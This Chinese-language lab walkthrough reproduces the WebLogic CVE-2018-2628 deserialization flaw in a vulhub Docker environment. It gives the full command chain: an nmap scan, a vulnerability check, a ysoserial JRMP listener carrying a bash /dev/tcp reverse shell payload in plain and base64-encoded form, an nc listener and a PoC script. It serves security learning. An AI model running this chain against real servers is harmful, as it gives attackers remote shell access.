看见大部分复现教程都是弹计算器,创建文件夹,对于一些人来说不能满足需求,所以我准备做一个反弹shell的复现。
测试机:MacBook-Air
测试机IP:192.168.0.100
靶机IP:192.168.0.100:7001
环境: docker
工具:CVE-2018-2628漏洞利用工具包 下载
一. 环境搭建
将环境vulhub的环境git到本地
git clone https://github.com/vulhub/vulhub.git
接着 cd weblogic/CVE-2018-2628
输入docker-compose up -d 启动
docker-compose up -d
启动后访问页面192.168.0.100:7001
二. 漏洞测试
使用nmap进行扫描
nmap -n -v -p7001,7002 192.168.0.100 --script=weblogic-t3-info
下载 CVE-2018-2628漏洞利用工具包
修改url.txt 将里面的IP 改成目标IP
python CVE-2018-2628-MultiThreading.py
出现 is vul CVE-2018-2628 说明漏洞存在
三. 漏洞复现
启动JRMP Server:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
[command] : 需要执行的命令
[listen port] : JRMP Server监听的端口。
这里我们反弹shell
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.100/9999 0>&1'
此处特别注意!!!
由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我们需要进行一次编码。
转化工具链接 : http://www.jackson-t.ca/runtime-exec-payloads.html
编码后的命令如下
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'
出现 * Opening JRMP listener on 8888
说明JRMP Server正在监听8888端口
执行
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.0.100:8888 | xxd -p | tr -d $'\n' && echo
将weblogic_poc.py 中的 PYLOAD进行替换
并将此处IP改为目标 IP
使用 nc 进行监听本地的9999端口
执行
python weblogic_poc.py
搞定~
参考链接
http://www.jackson-t.ca/runtime-exec-payloads.html
https://www.jianshu.com/p/6649118ba7b6
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628